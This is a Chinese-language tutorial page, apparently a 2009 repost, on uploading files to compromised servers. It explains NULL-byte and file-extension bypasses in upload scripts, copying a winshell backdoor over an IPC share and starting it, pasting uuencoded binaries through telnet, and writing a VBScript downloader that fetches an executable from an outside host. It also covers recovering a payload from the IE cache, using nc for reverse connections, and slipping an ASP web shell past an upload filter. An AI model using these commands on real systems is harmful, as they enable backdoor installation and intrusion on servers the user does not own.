当前位置: 首页 > 图文教程 > 服务器 > FTP服务器 > 文件上传技巧

FTP服务器
用SSL加密增强FTP服务器安全性
Windows下FTP服务器的安全管理
如何配置FTP服务器
FTP服务器快速架设全攻略
FTP服务器如何实现安全性 (上)
基于UNIX平台FTP服务器的建立(下)
Windows XP架设FTP服务器的方法教程
Linux系统架设VSFTP服务器实例解析
企业内部FTP服务器的架设
FTP服务器安全
Linux的ftp服务vsftp详细配置
Ubuntu自带的FTP服务器vsftpd技巧
在Linux下建立强大的FTP搜索引擎
用无线路由器构建FTP服务器
FTP服务中允许上传权限存在的问题
简单实用 Linux下的FTP服务器配置
FTP空间不足 Windows 系统性能监控来报警
如何启用Web服务器并运行FTP服务
FTP服务器架设的三方面安全因素
如何配置Linux操作系统下的FTP服务器

FTP服务器 中的 文件上传技巧


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-17   浏览: 72 ::
收藏到网摘: n/a

文件上传是很早以前的事了,最早那会常用的就是IPC连接,然后一个一个的COPY,自从动网upfile漏洞出来以后,各种脚本系统如PHP.JSP下的文件漏洞纷纷暴出,原理都是大同小异,没有过滤文件上传路径,导致可以抓包然后把空格20改成00,变成空字符NULL,系统是从右往左识别的,所以到空字符那就截断了,更简单的就是过滤文件上传类型不完整,改后缀就可以解决了,这些上传文件的漏洞,用万能上传工具就可以轻松搞定,不过漏洞文件名不同罢了。

还有一些另类的文件上传方法,是在系统做了比较好的防范下完成的,资料来源感谢CD-LION提供一。

先COPY个winshell.exe吧,开个telnet端口,命令行下总比在浏览器里方便啊.

copy \\myIP\c$\tools\winshell.exe d:\downloads\winzip32 已复制一个文件
启动它 d:\downloads\winzip32\winshell.exe 浏览器窗口会停好久,
不用等的,程序已经启动了,点停止,接着,
断开共享连接: net use \\myIP\c$ /del 完成
1利用telnet上传文件 by :[email protected] 

如果ftp被关了,sendmail也不行,如何把编译好的文件上传到主机呢? 
方法很简单: 
1.先把要上传的文件用uuedcode进行编码,文件会变成大概下面的样子: 
begin 644 file.bat 
M.C!J95@T92TP,#503U!=:%=E6#5D9%!>,2Q&1D9&1C$L1D9&,2PT4%]J 
M95@T85!9+7@M04%28#!@*CTP,’500D])04%!049+04]"4$E$34-"04Q%04I- 
M3D-"2D%,24%!14U-3D-"1D5’24=&0T%%3D="1T1(0T=02$=’2DA#2$9(1$-! 
M1TI(1$-!1T1’4$=.1TI’3T=(0T%#3T-/0T]#3T-/0T]!3D%+0T5!07%Q<7$@ 
M"D!%0TA/($]&1B`*0T]062`E,"Y"050@+T(@0SI<0D%45DE2+D-/32`O0B`O 
E62`*0SI<0D%45DE2+D-/32`*1$5,($,Z7$)!5%9)4BY#3TT@"@`` 

end 
sum -r/size 17903/262 
全部都是可见的ASCII字符了 

2.用TELNET连接到主机后输入 
$ cat >a 
然后用WINODWS的拷贝/粘贴,把文件粘贴到telnet窗口 
按^d 
在当前目录下产生文件a 

3.uudecode a 
文件复原,然后chmod即可
 

3脚本是非常好的东西,只要把源码保存到一个文件中就能运行。所以在shell下,用 
echo语句直接写到一个文件中,在用相应的解释程序执行就可以啦。这里是一个程序 
实例的简化: 
echo Set xPost = CreateObject("Microsoft.XMLHTTP") >167168.vbs 
echo xPost.Open "GET","http://167168.meibu.com/srv.exe";;,0 >>167168.vbs 
echo xPost.Send() >>167168.vbs 
echo Set sGet = CreateObject("ADODB.Stream") >>167168.vbs 
echo sGet.Mode = 3 >>167168.vbs 
echo sGet.Type = 1 >>167168.vbs 
echo sGet.Open() >>167168.vbs 
echo sGet.Write(xPost.responseBody) >>167168.vbs 
echo sGet.SaveToFile "srv.exe",2 >>167168.vbs 
然后执行cscript 167168.vbs就可以啦.其中,http://167168.meibu.com/srv.exe改成你放 
文件的网站路径,srv.exe可以改成保存文件的路径。 

4.start its:http://167168.meibu.com/ca.rar (看清楚,小心论坛自动加的标签) 
cd "C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\" (假设系统装在c盘,且当前环境是SYSTEM。如果是用户环境,修改Default User为该用户名) 
dir /s ca[1].rar 
然后会显示ca[1].rar的具体位置,比如C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5QMVC11H\ca[1].rar 
最后: 
copy 0QMVC11H\ca[1].rar c:\winnt\system32\ca.rar 
del 0QMVC11H\ca[1].rar 

还有可以用EXE2BAT转换成批处理,再上传,这种方法只限于小文件,文件太长粘贴时会出错,传个NC做反向连接是不错的选择。
最近我还遇见一种校友录系统,只有注册后再能上传照片(SESSION),我注册后发现可以上传任意文件,可是只能解析图片类型的后缀,这种情况应该是在服务端又加了一层JSP认正,如果用本地提交可以绕过JSP认正,可是没有登陆,第一层SESSION验证就不会通过了,上传思路是把ASP文件改成JPG后缀上传,然后抓包,这里的数据包已经包含SESSION值了,再修改后缀为ASP,用NC提交,原理就是这样,具体测试在进行中..